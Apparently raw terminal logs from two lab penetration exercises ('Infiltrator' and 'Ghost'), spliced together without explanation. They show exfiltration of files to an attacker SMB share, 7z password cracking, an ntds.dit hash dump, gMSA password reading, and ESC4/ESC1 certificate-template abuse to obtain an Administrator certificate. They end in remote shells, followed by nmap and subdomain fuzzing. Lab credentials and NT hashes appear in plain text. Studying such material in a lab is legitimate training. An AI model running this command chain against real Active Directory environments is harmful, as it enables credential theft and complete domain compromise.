infiltrator\o.martinezPS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> ls
Directory C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/23/2024 4:10 AM 292244 network_capture_2024.pcapng
PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301>❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> copy 292244 network_capture_2024.pcapng \\10.10.16.5\smbFolder\292244 network_capture_2024.pcapng❯ ls -l
.rw-rw-r-- kali kali 205 KB Sat Jan 18 01:58:41 2025 BitLocker-backup.raw
.rwxr-xr-x kali kali 285 KB Sat Jan 18 01:49:49 2025 network_capture_2024.pcapng
❯ hexedit BitLocker-backup.raw❯ echo $((0x3A5))
933
❯ echo $((0x33554))
210260
❯ dd if=BitLocker-backup.raw of=BitLocker-backup.7z bs=1 skip=933 count=$((210260 - 933))
209327+0 records in
209327+0 records out
209327 bytes (209 kB, 204 KiB) copied, 0,608148 s, 344 kB/s
❯ file BitLocker-backup.7z
BitLocker-backup.7z: 7-zip archive data, version 0.4❯ 7z x BitLocker-backup.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)
Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed)❯ 7z2john BitLocker-backup.7z > hash7z
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes❯ john --wordlist:/usr/share/wordlists/rockyou.txt hash7z
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 209048 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zipper (BitLocker-backup.7z)
1g 0:00:02:50 DONE (2025-01-18 02:15) 0.005869g/s 32.49p/s 32.49c/s 32.49C/s cuteaq..pinkprincess
Use the "--show" option to display all of the cracked passwords reliably
Session completed.❯ 7z x BitLocker-backup.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)
Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Everything is Ok
Folders: 1
Files: 1
Size: 792371
Compressed: 209327
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Mon Feb 19 19:11:00 2024 BitLocker-backup❯ ls
'Microsoft account _ Clés de récupération BitLocker.html'
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'M@rtinez_P@ssw0rd!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\O.martinez:M@rtinez_P@ssw0rd! ❯ xfreerdp3 /u:O.martinez /p:'M@rtinez_P@ssw0rd!' /v:10.10.11.31 /dynamic-resolution❯ smbserver.py smbFolder $(pwd) -username 'O.martinez' -password 'M@rtinez_P@ssw0rd!' -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed❯ ls -l Backup_Credentials.7z
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 Backup_Credentials.7z
❯ 7z x Backup_Credentials.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 2055137 bytes (2007 KiB)
Extracting archive: Backup_Credentials.7z
--
Path = Backup_Credentials.7z
Type = 7z
Physical Size = 2055137
Headers Size = 250
Method = LZMA2:24
Solid = +
Blocks = 1
Everything is Ok
Folders: 2
Files: 3
Size: 48513024
Compressed: 2055137
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:32 2024 'Active Directory'
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:34 2024 registry
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 Backup_Credentials.7z
❯ tree
.
├── Active Directory
│ └── ntds.dit
├── Backup_Credentials.7z
└── registry
├── SECURITY
└── SYSTEM
3 directories, 4 files❯ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '7bf62b9c45112ffdadb7b6b4b9299dd2'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\Administrator:7bf62b9c45112ffdadb7b6b4b9299dd2 STATUS_LOGON_FAILURE ❯ ntdsdotsqlite Active\ Directory/ntds.dit --system registry/SYSTEM -o ntds.db
100%|██████████████████████████████████████████████| 3823/3823 [00:00<00:00, 5123.30it/s]
❯ ls -l ntds.db
.rw-rw-r-- kali kali 136 KB Sat Jan 18 02:38:45 2025 ntds.db
❯ sqlitebrowser ntds.db❯ nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\lan_managment:l@n_M@an!1331 ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' get object 'infiltrator_svc$' --attr msDS-ManagedPassword
distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:3ec423661d68dbda6c94ff25ff4d726b
msDS-ManagedPassword.B64ENCODED: z+LzYks13ZzAJQxIZgFbQCYsOroomLTBLYJhZKhD+gD+4zAwiKZe+vu8YrR44x20SQ/ytOmb2+1cq/BV6HeCl6IW50MjiLLLBEJh8xOH8ttUJ6SNjZ8iTq2lcG38EdSSQZE/iEpiIcmKa+QAAzPvwKrKYzU+IUsQYzw9mvrRpVTad46hZ7UZBV7o9LRDNUzwkVvO+pd69ou5Ut+l4ugcjp95iRe1of4vZE2Sd3UR3vdb9RQwfYz9O22pGD7FCXIuAXdeQssQNIqgyZJa+FyEVl5cVSJHm3Z7ZJ1AmIOmhtj3SgyAtVh0iYokhQKDRtxzwU3Y6lg9fijgfb41XkVtiw==❯ nxc smb dc01.infiltrator.htb -u 'infiltrator_svc$' -H '3ec423661d68dbda6c94ff25ff4d726b'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\infiltrator_svc$:3ec423661d68dbda6c94ff25ff4d726b❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : infiltrator-DC01-CA
DNS Name : dc01.infiltrator.htb
Certificate Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Certificate Serial Number : 724BCC4E21EA6681495514E0FD8A5149
Certificate Validity Start : 2023-12-08 01:42:38+00:00
Certificate Validity End : 2124-08-04 18:55:57+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : INFILTRATOR.HTB\Administrators
Access Rights
ManageCertificates : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
ManageCa : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
Enroll : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
PendAllRequests
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Smart Card Logon
Server Authentication
KDC Authentication
Client Authentication
Requires Manager Approval : True
Requires Key Archival : False
Authorized Signatures Required : 1
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Owner Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Dacl Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Property Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
[!] Vulnerabilities
ESC4 : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions❯ certipy-ad template -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -template Infiltrator_Template -save-old -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : infiltrator-DC01-CA
DNS Name : dc01.infiltrator.htb
Certificate Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Certificate Serial Number : 724BCC4E21EA6681495514E0FD8A5149
Certificate Validity Start : 2023-12-08 01:42:38+00:00
Certificate Validity End : 2124-08-04 18:55:57+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : INFILTRATOR.HTB\Administrators
Access Rights
ManageCertificates : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
ManageCa : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
Enroll : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 5 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Authenticated Users
Write Owner Principals : INFILTRATOR.HTB\Authenticated Users
Write Dacl Principals : INFILTRATOR.HTB\Authenticated Users
Write Property Principals : INFILTRATOR.HTB\Authenticated Users
[!] Vulnerabilities
ESC1 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template can be used for any purpose
ESC3 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
ESC4 : 'INFILTRATOR.HTB\\Authenticated Users' has dangerous permissions
❯ certipy-ad req -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -ca infiltrator-DC01-CA -template Infiltrator_Template -upn administrator -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\Administrator:1356f502d2764368302ff0369b1121a1 (Pwn3d!)❯ evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
d97142dec41*********************❯ KRB5CCNAME=administrator.ccache wmiexec.py infiltrator.htb/Administrator@dc01.infiltrator.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
infiltrator\administrator❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.24 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:54 CET
Initiating SYN Stealth Scan at 18:54
Scanning 10.10.11.24 [65535 ports]
Completed SYN Stealth Scan at 18:56, 127.33s elapsed (65535 total ports)
Nmap scan report for 10.10.11.24
Host is up, received user-set (0.053s latency).
Scanned at 2025-02-07 18:54:34 CET for 127s
Not shown: 65508 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
8008/tcp open http syn-ack ttl 127
8443/tcp open https-alt syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49443/tcp open unknown syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
51066/tcp open unknown syn-ack ttl 127
51123/tcp open unknown syn-ack ttl 127
57044/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 127.43 seconds
Raw packets sent: 131132 (5.770MB) | Rcvd: 177 (10.228KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.24
[*] Open ports: 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044 10.10.11.24 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:59 CET
Nmap scan report for 10.10.11.24
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-07 18:00:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.10.11.24:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-02-07T18:02:20+00:00; +26s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.24:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-07T17:46:39
|_Not valid after: 2055-02-07T17:46:39
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-07T18:02:21+00:00; +27s from scanner time.
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2025-02-06T17:43:29
|_Not valid after: 2025-08-08T17:43:29
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-07T18:01:41+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51066/tcp open msrpc Microsoft Windows RPC
51123/tcp open msrpc Microsoft Windows RPC
57044/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 26s, deviation: 0s, median: 25s
| smb2-time:
| date: 2025-02-07T18:01:41
|_ start_date: N/A
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 99.71 ms 10.10.16.1
2 99.92 ms 10.10.11.24
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.54 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.24
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.24 -s base | grep defaultNamingContext
defaultNamingContext: DC=GHOST,DC=HTB❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb❯ whatweb http://ghost.htb
http://ghost.htb [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.10.11.24], Microsoft-HTTPAPI[2.0], Title[Not Found]
❯ whatweb http://ghost.htb:8008
http://ghost.htb:8008 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.24], MetaGenerator[Ghost 5.78], Open-Graph-Protocol[website], Script[application/ld+json], Title[Ghost], X-Powered-By[Express], nginx[1.18.0]
❯ whatweb https://ghost.htb:8443
https://ghost.htb:8443 [302 Found] Cookies[connect.sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], RedirectLocation[/login], X-Powered-By[Express], nginx[1.18.0]
https://ghost.htb:8443/login [200 OK] Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], Title[Ghost Core], X-Powered-By[Express], nginx[1.18.0]❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb ❯ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://FUZZ.ghost.htb:8008/ -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
core [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 173ms]
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 429ms]
Intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 153ms]
